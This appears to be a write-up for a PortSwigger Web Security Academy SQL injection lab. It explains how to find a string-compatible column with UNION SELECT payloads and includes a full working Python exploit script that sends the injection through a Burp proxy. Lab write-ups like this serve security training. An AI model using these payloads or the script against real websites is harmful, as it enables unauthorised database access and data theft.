Back

SQLi Lab 8

SQL injection for identifying a column compatible with string data

portswigger-labs content

SQL injection UNION attack, finding a column containing text#

This lab demonstrates how to identify a column compatible with string data during a SQL injection attack. After determining the number of columns returned by the query (as done in the previous lab), the next step is to perform a UNION SELECT attack with a provided random string. By inserting the string into each column one by one and observing which query executes successfully, you can determine which columns accept text data. This is a crucial step before retrieving actual sensitive data from the database.

How Exploit Works#

The category parameter in /filter is vulnerable to SQL injection.
Determine the number of columns returned by the query (e.g. 3 columns using '+UNION+SELECT+NULL,NULL,NULL--).
Extract the random string provided in the lab hint from the page.
Replace each NULL with the dynamic string in separate attempts to find a text-compatible column (e.g. '+UNION+SELECT+'abcdef',NULL,NULL--).
Once the correct column is identified, the lab is solved.
This method is foundational for constructing full UNION SELECT attacks in later labs.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net

cmd

Exploit#

exploit.py

import requests
import sys
import urllib3
import re

# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set Burp Suite proxy
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    """
    Check if Burp Suite is running and listening on the configured proxy.
    """
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def get_dynamic_string(url):
    """
    Fetch the base URL and extract the random string from the hint paragraph.
    Example: <p id="hint">Make the database retrieve the string: '2xO59V'</p>
    """
    try:
        res = requests.get(url, verify=False, proxies=proxies, timeout=10)
        res.raise_for_status()
        match = re.search(r"retrieve the string: '([^']+)'", res.text)
        if match:
            return match.group(1)
        else:
            print("[-] Could not extract dynamic string from hint.")
            sys.exit(1)
    except requests.RequestException as e:
        print(f"[-] Error while fetching base page: {e}")
        sys.exit(1)

def exploit_sqli(url, payload):
    """
    Send payload, then check base URL for success banner.
    """
    try:
        full_url = url.rstrip("/") + payload
        res = requests.get(full_url, verify=False, proxies=proxies, timeout=10)
        res.raise_for_status()

        # Check base URL again
        check_res = requests.get(url, verify=False, proxies=proxies, timeout=10)
        check_res.raise_for_status()
        return "Congratulations" in check_res.text

    except requests.RequestException as e:
        print(f"[-] Error while sending request: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    # Step 1: Check Burp Suite
    check_burp()

    # Step 2: Extract the dynamic string
    dynamic_str = get_dynamic_string(url)
    print(f"[*] Extracted dynamic string: {dynamic_str}")

    # Step 3: Define SQL injection payload
    payload = f"/filter?category='+UNION+SELECT+NULL,'{dynamic_str}',NULL--"
    print(f"[*] Using payload: {payload}")

    # Step 4: Attempt exploitation
    if exploit_sqli(url, payload):
        print("[+] Lab solved! 🎉")
    else:
        print("[-] Payload sent but lab not solved.")

if __name__ == "__main__":
    main()

python

See more portswigger-labs